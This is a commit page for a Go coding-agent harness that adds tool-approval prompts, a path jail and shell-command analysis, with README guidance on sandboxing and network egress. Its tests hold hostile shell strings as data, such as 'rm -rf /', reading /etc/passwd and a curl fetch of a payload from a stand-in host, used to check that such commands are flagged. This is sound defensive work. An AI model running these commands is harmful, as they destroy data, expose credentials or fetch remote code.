Vectrum
Sign In
CodeyPublic
Like0 likesFork0 forks

Phase 6: approval policy, path jail, shell analysis, sandbox docs

Read-only tools run unattended; bash, edit_file and write_file prompt with
yes / no / always-this-one / always-this-tool and session memory. A denial
comes back as an ordinary tool error so the model reads it and changes
course rather than seeing the harness break.

Shell commands are parsed with mvdan.cc/sh/syntax so the prompt can say
what will actually run — "git status; rm -rf ~" is reported as running both
git and rm. The parser is explicitly not a security boundary: anything
containing command substitution, a variable in command position, or an
interpreter with -c is marked opaque, and "always allow this exact command"
is then refused, because the text does not determine what runs. That is the
honest half of the plan's advice; the other half is the sandbox, which the
harness documents rather than pretends to provide.

The path jail resolves symlinks before comparing against the working root,
so a link inside the tree pointing out of it is caught. bash is not
covered by it — it can cd anywhere — which is stated in the README rather
than papered over.

README covers the egress decision plainly: the container recipe needs
network for the API, so the agent's bash has network too, and every secret
reachable from inside it should be treated as exposed.

Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com>
Browse Files
Jjonicommitted 1 parent f02316bcommit75015ba

Showing 17 changed files with 935 additions and 13 deletions.

+119−0README.mdaddedView File
@@ -0,0 +1,119 @@
1+ # harness
2+
3+ A coding agent harness in Go. Point it at a repository, tell it to make the
4+ failing test pass, and measure how often it actually does.
5+
6+ The code is the byproduct. The deliverable is [METRICS.md](METRICS.md).
7+ [PLAN.md](PLAN.md) is the build plan this follows.
8+
9+ ## Quick start
10+
11+ ```bash
12+ export ANTHROPIC_API_KEY=sk-ant-...
13+ go build -o harness ./cmd/harness
14+
15+ ./harness -C /path/to/a/throwaway/clone # REPL
16+ ./harness -C /path/to/repo -p "why does TestFoo fail?" # one prompt
17+ ```
18+
19+ A different endpoint — a gateway, a proxy, a local server speaking the Messages
20+ API:
21+
22+ ```bash
23+ ./harness -base-url http://127.0.0.1:4000 -api-key ... -C .
24+ # or ANTHROPIC_BASE_URL / ANTHROPIC_API_KEY / ANTHROPIC_AUTH_TOKEN
25+ ```
26+
27+ Flags override the environment. `-auth-token` sends `Authorization: Bearer`,
28+ which is what OAuth tokens and most gateways want; `-api-key` sends
29+ `x-api-key`. A non-default endpoint announces itself on stderr, because your
30+ prompt and every file the agent reads go wherever that URL points.
31+
32+ Useful flags: `-model`, `-effort low|medium|high|xhigh|max`, `-max-turns`,
33+ `-resume latest`, `-no-stream`, `-no-cache`, `-v`, `-yolo`.
34+
35+ ## Tools
36+
37+ | Tool | Approval | Notes |
38+ | --- | --- | --- |
39+ | `read_file` | automatic | Numbered lines, `offset`/`limit` for paging |
40+ | `glob` | automatic | Newest first; `*.go` matches at any depth |
41+ | `grep` | automatic | ripgrep when present, pure Go otherwise, identical output either way |
42+ | `edit_file` | prompts | Requires a prior read; refuses ambiguous matches; returns a diff |
43+ | `write_file` | prompts | Whole files only; separate from `edit_file` so the metrics stay honest |
44+ | `bash` | prompts | Own process group, killed whole on timeout; output capped head and tail |
45+
46+ ## Evals
47+
48+ ```bash
49+ ./evals/selftest.sh # no API calls: checks the tasks measure something
50+ go run ./evals -n 3 # the real thing
51+ ```
52+
53+ Ten tasks, a fresh temp directory per run, full transcripts under
54+ `evals/runs/<timestamp>/`. See [METRICS.md](METRICS.md).
55+
56+ ## Safety
57+
58+ Three layers, in increasing order of how much they actually protect you.
59+
60+ **Path jail.** Every path a tool is given is resolved with
61+ `filepath.EvalSymlinks` and refused if it lands outside the working root,
62+ including through a symlink that points out of the tree. Cheap, and it catches
63+ a lot.
64+
65+ **Approval prompts.** Read-only tools run unattended. `bash`, `edit_file` and
66+ `write_file` ask, with "yes / no / always this exact one / always this tool" and
67+ session memory. `/allowed` lists what you have agreed to.
68+
69+ Shell commands are parsed with `mvdan.cc/sh/syntax` so the prompt can tell you
70+ what a command will actually run — `git status; rm -rf ~` is shown as running
71+ both `git` and `rm`. **This is not a security boundary**, and the harness does
72+ not pretend otherwise: a command containing `$(...)`, backticks, or an
73+ interpreter with `-c` cannot be analysed at all, so it is marked opaque and
74+ "always allow this exact command" is refused for it. String-matching
75+ allowlists for shell commands do not work; this exists to make the prompt
76+ specific, not to make the decision for you.
77+
78+ **A sandbox.** This is the layer that actually contains a mistake, and the
79+ harness cannot provide it for you. The honest recipe on Linux:
80+
81+ ```bash
82+ podman run --rm -it \
83+ -v "$PWD":/work:Z -w /work \
84+ -e ANTHROPIC_API_KEY \
85+ docker.io/library/golang:1.26 \
86+ /work/harness -C /work -yolo
87+ ```
88+
89+ **Decide about egress explicitly.** The container above has network access,
90+ because the harness needs to reach the API — which means the agent's `bash`
91+ has it too. That is the line between "broke my repo" and "read my `.env` and
92+ made an HTTP request". If that matters for the tree you are pointing it at:
93+
94+ - Treat every secret reachable from inside the container as exposed.
95+ - Use a token scoped to nothing else, and a clone rather than your working tree.
96+ - For real isolation, run the harness on the host and put only `bash` in a
97+ network-less namespace. That is not implemented here.
98+
99+ `-yolo` skips every prompt. It is correct inside a container or against a
100+ throwaway clone, and wrong everywhere else. The eval runner sets it, because it
101+ is headless and operates on a temp directory it created.
102+
103+ ## Layout
104+
105+ ```
106+ cmd/harness flag parsing, wiring, REPL
107+ internal/llm Messages API: types, HTTP, SSE, pricing
108+ internal/agent turn loop, conversation state, compaction, sessions
109+ internal/tools the tool registry and the tools
110+ internal/approval allow / deny / ask, with shell analysis
111+ internal/metrics JSONL event log
112+ internal/ui terminal rendering
113+ evals task suite and runner
114+ ```
115+
116+ Two rules hold the shape: `agent` never imports `ui`, so the eval runner can
117+ drive the loop headless; and every tool returns `(string, error)` where the
118+ error is text the model reads, not an exception the harness swallows. A failed
119+ edit is a normal event in the transcript.
+21−2cmd/harness/main.goView File
@@ -15,6 +15,7 @@ import (
1515 "time"
1616
1717 "harness/internal/agent"
18+ "harness/internal/approval"
1819 "harness/internal/llm"
1920 "harness/internal/metrics"
2021 "harness/internal/tools"
@@ -44,6 +45,7 @@ func run() error {
4445 prompt := flag.String("p", "", "run one prompt and exit, instead of starting the REPL")
4546 resume := flag.String("resume", "", "resume a saved session by id, or \"latest\"")
4647 verbose := flag.Bool("v", false, "print full tool output")
48+ yolo := flag.Bool("yolo", false, "skip every approval prompt. Only against a throwaway clone or inside a container")
4749 flag.Parse()
4850
4951 root, err := filepath.Abs(*workdir)
@@ -86,7 +88,16 @@ func run() error {
8688 tools.NewBash(root),
8789 )
8890
91+ in := bufio.NewScanner(os.Stdin)
92+ in.Buffer(make([]byte, 0, 64*1024), 1024*1024)
93+
8994 render := &ui.Renderer{W: os.Stdout, Verbose: *verbose}
95+ approver := &ui.Approver{In: in, Out: os.Stdout}
96+ policy := approval.New(approver.Prompt)
97+ policy.YOLO = *yolo
98+ if *yolo {
99+ fmt.Fprintln(os.Stderr, "harness: -yolo — no approval prompts. Use a throwaway clone or a container.")
100+ }
90101 a := agent.New(client, reg, state, log, agent.Options{
91102 MaxTurns: *maxTurns,
92103 Effort: *effort,
@@ -96,6 +107,7 @@ func run() error {
96107 Stream: !*noStream,
97108 })
98109 a.Observe = render.Handle
110+ a.Approve = policy
99111
100112 sessionDir := filepath.Join(root, agent.SessionDir)
101113 if *resume != "" {
@@ -118,8 +130,6 @@ func run() error {
118130 fmt.Printf("harness · %s · %s\ntools: %s\ntype a prompt, ctrl-c to interrupt a turn, ctrl-d to exit\n\n",
119131 client.Model, root, strings.Join(toolNames(reg), ", "))
120132
121- in := bufio.NewScanner(os.Stdin)
122- in.Buffer(make([]byte, 0, 64*1024), 1024*1024)
123133 for {
124134 fmt.Print("> ")
125135 if !in.Scan() {
@@ -132,6 +142,15 @@ func run() error {
132142 continue
133143 case line == "/exit", line == "/quit":
134144 return nil
145+ case line == "/allowed":
146+ allowed := policy.Remembered()
147+ if len(allowed) == 0 {
148+ fmt.Println("nothing is permanently allowed this session")
149+ }
150+ for _, a := range allowed {
151+ fmt.Println(" " + a)
152+ }
153+ continue
135154 }
136155 if err := once(ctx, a, render, sessionDir, session, root, client, line); err != nil {
137156 render.Error(err)
+6−0evals/runner.goView File
@@ -20,6 +20,7 @@ import (
2020 "time"
2121
2222 "harness/internal/agent"
23+ "harness/internal/approval"
2324 "harness/internal/llm"
2425 "harness/internal/metrics"
2526 "harness/internal/tools"
@@ -196,6 +197,11 @@ func runOne(task Task, runNo int, client *llm.Client, opts agent.Options, timeou
196197 tools.NewBash(work),
197198 )
198199 a := agent.New(client, reg, state, log, opts)
200+ // The eval runner is headless and operates on a throwaway temp directory,
201+ // so there is nothing to approve and no one to ask.
202+ yolo := approval.New(nil)
203+ yolo.YOLO = true
204+ a.Approve = yolo
199205
200206 answer, runErr := a.Run(ctx, task.Prompt)
201207 res.Answer = answer
+1−0go.modView File
@@ -10,4 +10,5 @@ require (
1010 github.com/buger/jsonparser v1.1.2 // indirect
1111 github.com/pb33f/ordered-map/v2 v2.3.1 // indirect
1212 go.yaml.in/yaml/v4 v4.0.0-rc.2 // indirect
13+ mvdan.cc/sh/v3 v3.14.1 // indirect
1314 )
+2−0go.sumView File
@@ -18,3 +18,5 @@ go.yaml.in/yaml/v4 v4.0.0-rc.2 h1:/FrI8D64VSr4HtGIlUtlFMGsm7H7pWTbj6vOLVZcA6s=
1818 go.yaml.in/yaml/v4 v4.0.0-rc.2/go.mod h1:aZqd9kCMsGL7AuUv/m/PvWLdg5sjJsZ4oHDEnfPPfY0=
1919 gopkg.in/yaml.v3 v3.0.1 h1:fxVm/GzAzEWqLHuvctI91KS9hhNmmWOoWu0XTYJS7CA=
2020 gopkg.in/yaml.v3 v3.0.1/go.mod h1:K4uyk7z7BCEPqu6E+C64Yfv1cQ7kz7rIZviUmN+EgEM=
21+ mvdan.cc/sh/v3 v3.14.1 h1:bXkhQWNHCs0KZEChF8hYS6FC+T2N9mUZLbQv9blditI=
22+ mvdan.cc/sh/v3 v3.14.1/go.mod h1:syYCoFET8w9tvevxiXUtY8/ICrU+l26jHmhJDra3Vwo=
+27−1internal/agent/loop.goView File
@@ -81,6 +81,12 @@ type Event struct {
8181 Usage llm.Usage
8282 }
8383
84+ // Approver decides whether a tool call may proceed. It is an interface here so
85+ // the agent package stays free of any particular policy or interface.
86+ type Approver interface {
87+ Approve(ctx context.Context, tool string, input json.RawMessage) error
88+ }
89+
8490 // Agent runs the turn loop.
8591 type Agent struct {
8692 client *llm.Client
@@ -92,6 +98,10 @@ type Agent struct {
9298 // Observe is called for every event. It may be nil.
9399 Observe func(Event)
94100
101+ // Approve gates mutating tool calls. Nil means everything is allowed,
102+ // which is only appropriate against a throwaway tree or in a sandbox.
103+ Approve Approver
104+
95105 // lastInputTokens is the size of the previous request as the API measured
96106 // it, cached and uncached parts together.
97107 lastInputTokens int
@@ -211,7 +221,7 @@ func (a *Agent) dispatch(ctx context.Context, turn int, calls []llm.ContentBlock
211221 for _, call := range calls {
212222 a.emit(Event{Kind: EventToolStart, Turn: turn, Tool: call.Name, Input: call.Input})
213223
214- out, err := a.tools.Execute(ctx, call.Name, call.Input)
224+ out, err := a.authorizedExecute(ctx, call)
215225 if ctx.Err() != nil {
216226 return nil, ctx.Err()
217227 }
@@ -239,6 +249,22 @@ func (a *Agent) dispatch(ctx context.Context, turn int, calls []llm.ContentBlock
239249 return results, nil
240250 }
241251
252+ // authorizedExecute runs a tool once the approval policy allows it. A denial
253+ // comes back as an ordinary tool error: the model should read it and change
254+ // course, not see a harness crash.
255+ func (a *Agent) authorizedExecute(ctx context.Context, call llm.ContentBlock) (string, error) {
256+ if a.Approve != nil {
257+ if err := a.Approve.Approve(ctx, call.Name, call.Input); err != nil {
258+ if ctx.Err() != nil {
259+ return "", ctx.Err()
260+ }
261+ a.log.Log(metrics.Event{Type: "tool_denied", Tool: call.Name, Err: err.Error()})
262+ return "", err
263+ }
264+ }
265+ return a.tools.Execute(ctx, call.Name, call.Input)
266+ }
267+
242268 // request builds the body. Order matters for prompt caching: system, then
243269 // tools, then the growing conversation.
244270 func (a *Agent) request() llm.Request {
+45−0internal/agent/loop_test.goView File
@@ -444,3 +444,48 @@ func TestStreamingRunEmitsDeltas(t *testing.T) {
444444 t.Error("the whole text must not be emitted again after streaming it")
445445 }
446446 }
447+
448+ // denyAll is an Approver that refuses everything it is asked about.
449+ type denyAll struct{ asked []string }
450+
451+ func (d *denyAll) Approve(_ context.Context, tool string, _ json.RawMessage) error {
452+ d.asked = append(d.asked, tool)
453+ return errors.New("the user declined to run " + tool)
454+ }
455+
456+ func TestDeniedToolBecomesAToolError(t *testing.T) {
457+ root := t.TempDir()
458+ os.WriteFile(filepath.Join(root, "a.go"), []byte("package a\n"), 0o644)
459+ f := newFakeAPI(t,
460+ msg("tool_use", toolUseBlock("tu_1", "read_file", `{"path":"a.go"}`)),
461+ msg("end_turn", textBlock("understood")),
462+ )
463+ var logBuf bytes.Buffer
464+ a := newTestAgent(t, f, root, &logBuf)
465+ gate := &denyAll{}
466+ a.Approve = gate
467+
468+ got, err := a.Run(context.Background(), "read it")
469+ if err != nil {
470+ t.Fatalf("a denial is not a harness failure: %v", err)
471+ }
472+ if got != "understood" {
473+ t.Errorf("answer = %q", got)
474+ }
475+ if len(gate.asked) != 1 || gate.asked[0] != "read_file" {
476+ t.Errorf("approver saw %v", gate.asked)
477+ }
478+
479+ last := f.requests[1].Messages[len(f.requests[1].Messages)-1]
480+ res := last.Content[0]
481+ if !res.IsError || !strings.Contains(res.Content, "declined") {
482+ t.Errorf("tool_result = %+v, want the denial passed to the model", res)
483+ }
484+ if !strings.Contains(logBuf.String(), `"type":"tool_denied"`) {
485+ t.Error("denials should be logged: they explain gaps in the eval numbers")
486+ }
487+ // The tool must not have run.
488+ if strings.Contains(res.Content, "package a") {
489+ t.Error("the file was read despite the denial")
490+ }
491+ }
+164−0internal/approval/policy.goaddedView File
@@ -0,0 +1,164 @@
1+ package approval
2+
3+ import (
4+ "context"
5+ "encoding/json"
6+ "fmt"
7+ "sort"
8+ "strings"
9+ "sync"
10+ )
11+
12+ // Decision is the outcome of an approval prompt.
13+ type Decision int
14+
15+ const (
16+ Deny Decision = iota
17+ Once
18+ AlwaysThisCommand
19+ AlwaysThisTool
20+ )
21+
22+ // Request is one tool call awaiting a decision.
23+ type Request struct {
24+ Tool string
25+ // Summary is a one-line description of what will happen.
26+ Summary string
27+ // Detail is the argument the user most needs to see: the command, the
28+ // path, or the replacement text.
29+ Detail string
30+ // Rememberable is false when "always allow this exact command" would be a
31+ // lie — an opaque shell command does not determine what it runs.
32+ Rememberable bool
33+ }
34+
35+ // Prompt asks a human. Returning an error aborts the turn.
36+ type Prompt func(context.Context, Request) (Decision, error)
37+
38+ // readOnly tools cannot change anything, so they never prompt.
39+ var readOnly = map[string]bool{
40+ "read_file": true,
41+ "glob": true,
42+ "grep": true,
43+ }
44+
45+ // Policy decides whether a tool call proceeds, remembering what it is told.
46+ type Policy struct {
47+ mu sync.Mutex
48+ tools map[string]bool // tool name -> always allowed
49+ commands map[string]bool // exact detail string -> always allowed
50+
51+ // Prompt is called when a decision is needed. A nil Prompt denies every
52+ // mutating call, which is the safe default for a headless run.
53+ Prompt Prompt
54+ // YOLO skips every prompt. Set it only where the blast radius is
55+ // contained: a throwaway clone, a container, or the eval runner.
56+ YOLO bool
57+ }
58+
59+ // New builds a policy.
60+ func New(prompt Prompt) *Policy {
61+ return &Policy{tools: map[string]bool{}, commands: map[string]bool{}, Prompt: prompt}
62+ }
63+
64+ // Approve implements the agent's Approver interface. The returned error is
65+ // text the model reads, so a denial tells it to change course rather than
66+ // looking like a tool that broke.
67+ func (p *Policy) Approve(ctx context.Context, tool string, input json.RawMessage) error {
68+ if p == nil || p.YOLO || readOnly[tool] {
69+ return nil
70+ }
71+ req := describe(tool, input)
72+
73+ p.mu.Lock()
74+ allowed := p.tools[tool] || (req.Rememberable && p.commands[memoryKey(tool, req.Detail)])
75+ p.mu.Unlock()
76+ if allowed {
77+ return nil
78+ }
79+
80+ if p.Prompt == nil {
81+ return fmt.Errorf("%s was not run: this session has no way to ask for approval, and %s can modify the working tree. Explain what you would do instead", tool, tool)
82+ }
83+
84+ decision, err := p.Prompt(ctx, req)
85+ if err != nil {
86+ return err
87+ }
88+ switch decision {
89+ case AlwaysThisTool:
90+ p.mu.Lock()
91+ p.tools[tool] = true
92+ p.mu.Unlock()
93+ return nil
94+ case AlwaysThisCommand:
95+ if req.Rememberable {
96+ p.mu.Lock()
97+ p.commands[memoryKey(tool, req.Detail)] = true
98+ p.mu.Unlock()
99+ }
100+ return nil
101+ case Once:
102+ return nil
103+ default:
104+ return fmt.Errorf("the user declined to run %s. Do not retry it; either find another way or explain what you need", tool)
105+ }
106+ }
107+
108+ // Remembered lists what the session has been told to always allow, for showing
109+ // the user what they have agreed to.
110+ func (p *Policy) Remembered() []string {
111+ p.mu.Lock()
112+ defer p.mu.Unlock()
113+ var out []string
114+ for t := range p.tools {
115+ out = append(out, "tool "+t)
116+ }
117+ for c := range p.commands {
118+ out = append(out, c)
119+ }
120+ sort.Strings(out)
121+ return out
122+ }
123+
124+ func memoryKey(tool, detail string) string { return tool + ": " + detail }
125+
126+ // describe turns a tool call into something a human can decide on in one read.
127+ func describe(tool string, input json.RawMessage) Request {
128+ var args struct {
129+ Command string `json:"command"`
130+ Path string `json:"path"`
131+ OldStr string `json:"old_str"`
132+ NewStr string `json:"new_str"`
133+ Content string `json:"content"`
134+ }
135+ json.Unmarshal(input, &args)
136+
137+ switch tool {
138+ case "bash":
139+ info := Analyze(args.Command)
140+ return Request{
141+ Tool: tool,
142+ Summary: "run a shell command — " + info.Describe(),
143+ Detail: args.Command,
144+ Rememberable: !info.Opaque && info.ParseError == nil,
145+ }
146+ case "edit_file":
147+ return Request{
148+ Tool: tool,
149+ Summary: fmt.Sprintf("edit %s (%d bytes in, %d out)", args.Path, len(args.OldStr), len(args.NewStr)),
150+ Detail: args.Path,
151+ Rememberable: true,
152+ }
153+ case "write_file":
154+ return Request{
155+ Tool: tool,
156+ Summary: fmt.Sprintf("write %s (%d bytes, replacing whatever is there)", args.Path, len(args.Content)),
157+ Detail: args.Path,
158+ Rememberable: true,
159+ }
160+ default:
161+ detail := strings.TrimSpace(string(input))
162+ return Request{Tool: tool, Summary: "run " + tool, Detail: detail, Rememberable: true}
163+ }
164+ }
+158−0internal/approval/policy_test.goaddedView File
@@ -0,0 +1,158 @@
1+ package approval
2+
3+ import (
4+ "context"
5+ "encoding/json"
6+ "strings"
7+ "testing"
8+ )
9+
10+ func approve(t *testing.T, p *Policy, tool, input string) error {
11+ t.Helper()
12+ return p.Approve(context.Background(), tool, json.RawMessage(input))
13+ }
14+
15+ func TestReadOnlyToolsNeverPrompt(t *testing.T) {
16+ var asked int
17+ p := New(func(context.Context, Request) (Decision, error) { asked++; return Deny, nil })
18+ for _, tool := range []string{"read_file", "glob", "grep"} {
19+ if err := approve(t, p, tool, `{"path":"x"}`); err != nil {
20+ t.Errorf("%s was denied: %v", tool, err)
21+ }
22+ }
23+ if asked != 0 {
24+ t.Errorf("prompted %d times for read-only tools", asked)
25+ }
26+ }
27+
28+ func TestMutatingToolsPrompt(t *testing.T) {
29+ for _, tool := range []string{"bash", "edit_file", "write_file"} {
30+ var asked int
31+ p := New(func(context.Context, Request) (Decision, error) { asked++; return Once, nil })
32+ if err := approve(t, p, tool, `{"command":"ls","path":"a.go"}`); err != nil {
33+ t.Errorf("%s: %v", tool, err)
34+ }
35+ if asked != 1 {
36+ t.Errorf("%s prompted %d times, want 1", tool, asked)
37+ }
38+ }
39+ }
40+
41+ func TestDenialIsAdviceForTheModel(t *testing.T) {
42+ p := New(func(context.Context, Request) (Decision, error) { return Deny, nil })
43+ err := approve(t, p, "bash", `{"command":"rm -rf /"}`)
44+ if err == nil {
45+ t.Fatal("want a denial")
46+ }
47+ for _, want := range []string{"declined", "Do not retry"} {
48+ if !strings.Contains(err.Error(), want) {
49+ t.Errorf("denial %q should contain %q — the model reads it", err, want)
50+ }
51+ }
52+ }
53+
54+ func TestSessionMemory(t *testing.T) {
55+ tests := []struct {
56+ name string
57+ decision Decision
58+ second string
59+ wantPrompt int
60+ }{
61+ {name: "always this tool covers a different command", decision: AlwaysThisTool, second: `{"command":"go build ./..."}`, wantPrompt: 1},
62+ {name: "always this command covers a repeat", decision: AlwaysThisCommand, second: `{"command":"go test ./..."}`, wantPrompt: 1},
63+ {name: "always this command does not cover a different one", decision: AlwaysThisCommand, second: `{"command":"rm -rf build"}`, wantPrompt: 2},
64+ {name: "once does not remember", decision: Once, second: `{"command":"go test ./..."}`, wantPrompt: 2},
65+ }
66+ for _, tc := range tests {
67+ t.Run(tc.name, func(t *testing.T) {
68+ var asked int
69+ p := New(func(context.Context, Request) (Decision, error) { asked++; return tc.decision, nil })
70+ if err := approve(t, p, "bash", `{"command":"go test ./..."}`); err != nil {
71+ t.Fatal(err)
72+ }
73+ if err := approve(t, p, "bash", tc.second); err != nil {
74+ t.Fatal(err)
75+ }
76+ if asked != tc.wantPrompt {
77+ t.Errorf("prompted %d times, want %d", asked, tc.wantPrompt)
78+ }
79+ })
80+ }
81+ }
82+
83+ // "Always allow this exact command" cannot mean anything for a command whose
84+ // text does not determine what it runs.
85+ func TestOpaqueCommandsAreNotRemembered(t *testing.T) {
86+ var asked int
87+ p := New(func(_ context.Context, r Request) (Decision, error) {
88+ asked++
89+ if r.Rememberable {
90+ t.Errorf("%q should not be offered as rememberable: %s", r.Detail, r.Summary)
91+ }
92+ return AlwaysThisCommand, nil
93+ })
94+ cmd := `{"command":"git status; $(curl -s http://x/payload)"}`
95+ approve(t, p, "bash", cmd)
96+ approve(t, p, "bash", cmd)
97+ if asked != 2 {
98+ t.Errorf("prompted %d times, want 2: an opaque command must be asked about every time", asked)
99+ }
100+ }
101+
102+ func TestNoPromptDeniesMutatingCalls(t *testing.T) {
103+ p := New(nil)
104+ if err := approve(t, p, "read_file", `{"path":"a"}`); err != nil {
105+ t.Errorf("read-only tools should still work headless: %v", err)
106+ }
107+ err := approve(t, p, "bash", `{"command":"ls"}`)
108+ if err == nil || !strings.Contains(err.Error(), "no way to ask for approval") {
109+ t.Errorf("error = %v, want a clear headless denial", err)
110+ }
111+ }
112+
113+ func TestYOLOSkipsEverything(t *testing.T) {
114+ p := New(func(context.Context, Request) (Decision, error) {
115+ t.Error("should not prompt")
116+ return Deny, nil
117+ })
118+ p.YOLO = true
119+ if err := approve(t, p, "bash", `{"command":"rm -rf ."}`); err != nil {
120+ t.Errorf("YOLO should allow: %v", err)
121+ }
122+ }
123+
124+ func TestNilPolicyAllows(t *testing.T) {
125+ var p *Policy
126+ if err := p.Approve(context.Background(), "bash", nil); err != nil {
127+ t.Errorf("a nil policy should be a no-op: %v", err)
128+ }
129+ }
130+
131+ func TestRequestSummaries(t *testing.T) {
132+ tests := []struct {
133+ tool, input string
134+ want []string
135+ }{
136+ {tool: "bash", input: `{"command":"go test ./..."}`, want: []string{"runs go"}},
137+ {tool: "edit_file", input: `{"path":"a.go","old_str":"abc","new_str":"de"}`, want: []string{"edit a.go", "3 bytes in", "2 out"}},
138+ {tool: "write_file", input: `{"path":"b.go","content":"xyz"}`, want: []string{"write b.go", "3 bytes", "replacing"}},
139+ }
140+ for _, tc := range tests {
141+ t.Run(tc.tool, func(t *testing.T) {
142+ got := describe(tc.tool, json.RawMessage(tc.input))
143+ for _, w := range tc.want {
144+ if !strings.Contains(got.Summary, w) {
145+ t.Errorf("summary %q missing %q", got.Summary, w)
146+ }
147+ }
148+ })
149+ }
150+ }
151+
152+ func TestRemembered(t *testing.T) {
153+ p := New(func(context.Context, Request) (Decision, error) { return AlwaysThisTool, nil })
154+ approve(t, p, "bash", `{"command":"ls"}`)
155+ if got := p.Remembered(); len(got) != 1 || got[0] != "tool bash" {
156+ t.Errorf("Remembered() = %v", got)
157+ }
158+ }
+116−0internal/approval/shell.goaddedView File
@@ -0,0 +1,116 @@
1+ // Package approval decides which tool calls need a human.
2+ package approval
3+
4+ import (
5+ "fmt"
6+ "sort"
7+ "strings"
8+
9+ "mvdan.cc/sh/v3/syntax"
10+ )
11+
12+ // ShellInfo is what static analysis can honestly say about a shell command.
13+ type ShellInfo struct {
14+ // Commands is every command name the parser could resolve statically.
15+ Commands []string
16+ // Opaque is true when the script contains constructs whose effect cannot
17+ // be determined from the text: command substitution, eval, an interpreter
18+ // invoked with -c, or a variable in command position.
19+ Opaque bool
20+ // Reason explains Opaque, for the approval prompt.
21+ Reason string
22+ // ParseError is set when the script is not valid shell.
23+ ParseError error
24+ }
25+
26+ // interpreters run whatever string they are handed, so a -c argument makes the
27+ // rest of the analysis meaningless.
28+ var interpreters = map[string]bool{
29+ "bash": true, "sh": true, "zsh": true, "dash": true, "ksh": true,
30+ "python": true, "python3": true, "perl": true, "ruby": true, "node": true,
31+ "env": true, "eval": true, "exec": true, "xargs": true, "find": true,
32+ }
33+
34+ // Analyze parses a shell command and reports what it will run.
35+ //
36+ // This exists to make the approval prompt specific, not to be a security
37+ // boundary. Allowlisting shell commands by matching strings does not work —
38+ // "git status; rm -rf ~" defeats it, and so do backticks, $(), &&, and any
39+ // interpreter with -c. Where this cannot be certain it says so, and the
40+ // decision goes to a human or to the sandbox.
41+ func Analyze(script string) ShellInfo {
42+ var info ShellInfo
43+ f, err := syntax.NewParser().Parse(strings.NewReader(script), "")
44+ if err != nil {
45+ return ShellInfo{ParseError: err, Opaque: true, Reason: "the command is not valid shell"}
46+ }
47+
48+ seen := map[string]bool{}
49+ syntax.Walk(f, func(node syntax.Node) bool {
50+ switch n := node.(type) {
51+ case *syntax.CmdSubst:
52+ info.Opaque, info.Reason = true, "it contains command substitution, so what runs is decided at run time"
53+ case *syntax.CallExpr:
54+ if len(n.Args) == 0 {
55+ return true
56+ }
57+ name, ok := literal(n.Args[0])
58+ if !ok {
59+ info.Opaque, info.Reason = true, "a command name is built from a variable"
60+ return true
61+ }
62+ seen[name] = true
63+ if interpreters[name] && hasInlineScript(n.Args[1:]) {
64+ info.Opaque = true
65+ info.Reason = fmt.Sprintf("it runs %s with an inline script, which can do anything", name)
66+ }
67+ }
68+ return true
69+ })
70+
71+ for name := range seen {
72+ info.Commands = append(info.Commands, name)
73+ }
74+ sort.Strings(info.Commands)
75+ return info
76+ }
77+
78+ // literal returns a word's text when it is a plain literal, and reports false
79+ // when any part of it is expanded at run time.
80+ func literal(w *syntax.Word) (string, bool) {
81+ if len(w.Parts) != 1 {
82+ return "", false
83+ }
84+ lit, ok := w.Parts[0].(*syntax.Lit)
85+ if !ok {
86+ return "", false
87+ }
88+ return lit.Value, true
89+ }
90+
91+ // hasInlineScript reports whether the arguments carry a script to execute, as
92+ // opposed to a file to read.
93+ func hasInlineScript(args []*syntax.Word) bool {
94+ for _, a := range args {
95+ if s, ok := literal(a); ok && (s == "-c" || s == "-e" || s == "--command") {
96+ return true
97+ }
98+ }
99+ return false
100+ }
101+
102+ // Describe renders the analysis for a prompt.
103+ func (s ShellInfo) Describe() string {
104+ switch {
105+ case s.ParseError != nil:
106+ return "cannot be analysed: " + s.Reason
107+ case s.Opaque && len(s.Commands) > 0:
108+ return fmt.Sprintf("runs %s, and %s", strings.Join(s.Commands, ", "), s.Reason)
109+ case s.Opaque:
110+ return s.Reason
111+ case len(s.Commands) == 0:
112+ return "runs nothing"
113+ default:
114+ return "runs " + strings.Join(s.Commands, ", ")
115+ }
116+ }
+80−0internal/approval/shell_test.goaddedView File
@@ -0,0 +1,80 @@
1+ package approval
2+
3+ import (
4+ "strings"
5+ "testing"
6+ )
7+
8+ func TestAnalyze(t *testing.T) {
9+ tests := []struct {
10+ name string
11+ script string
12+ wantCmds []string
13+ wantOpaque bool
14+ }{
15+ {name: "simple", script: "go test ./...", wantCmds: []string{"go"}},
16+ {name: "pipeline", script: "cat x | grep y | wc -l", wantCmds: []string{"cat", "grep", "wc"}},
17+ {
18+ // The example from the plan: a naive prefix allowlist on "git"
19+ // would wave this straight through.
20+ name: "semicolon smuggles a second command",
21+ script: "git status; rm -rf ~",
22+ wantCmds: []string{"git", "rm"},
23+ },
24+ {name: "and-chained", script: "go build ./... && ./bin/app", wantCmds: []string{"go"}},
25+ {name: "backticks are opaque", script: "echo `whoami`", wantOpaque: true},
26+ {name: "dollar-paren is opaque", script: "echo $(cat /etc/passwd)", wantOpaque: true},
27+ {name: "bash -c is opaque", script: `bash -c "rm -rf /"`, wantCmds: []string{"bash"}, wantOpaque: true},
28+ {name: "python -c is opaque", script: `python3 -c "import os; os.system('x')"`, wantCmds: []string{"python3"}, wantOpaque: true},
29+ {name: "variable in command position is opaque", script: "$CMD --flag", wantOpaque: true},
30+ {name: "subshell", script: "(cd build && make)", wantCmds: []string{"cd", "make"}},
31+ {name: "redirect is not by itself opaque", script: "echo hi > out.txt", wantCmds: []string{"echo"}},
32+ }
33+ for _, tc := range tests {
34+ t.Run(tc.name, func(t *testing.T) {
35+ got := Analyze(tc.script)
36+ if got.ParseError != nil {
37+ t.Fatalf("parse: %v", got.ParseError)
38+ }
39+ if got.Opaque != tc.wantOpaque {
40+ t.Errorf("Opaque = %v, want %v (reason: %s)", got.Opaque, tc.wantOpaque, got.Reason)
41+ }
42+ for _, want := range tc.wantCmds {
43+ if !contains(got.Commands, want) {
44+ t.Errorf("commands = %v, want it to include %q", got.Commands, want)
45+ }
46+ }
47+ if tc.wantOpaque && got.Reason == "" {
48+ t.Error("an opaque command must explain why, for the prompt")
49+ }
50+ })
51+ }
52+ }
53+
54+ func TestAnalyzeInvalidShell(t *testing.T) {
55+ got := Analyze("if then fi done )")
56+ if got.ParseError == nil {
57+ t.Fatal("want a parse error")
58+ }
59+ if !got.Opaque {
60+ t.Error("unparseable input must be treated as opaque, never as safe")
61+ }
62+ }
63+
64+ func TestDescribe(t *testing.T) {
65+ if got := Analyze("go test ./...").Describe(); got != "runs go" {
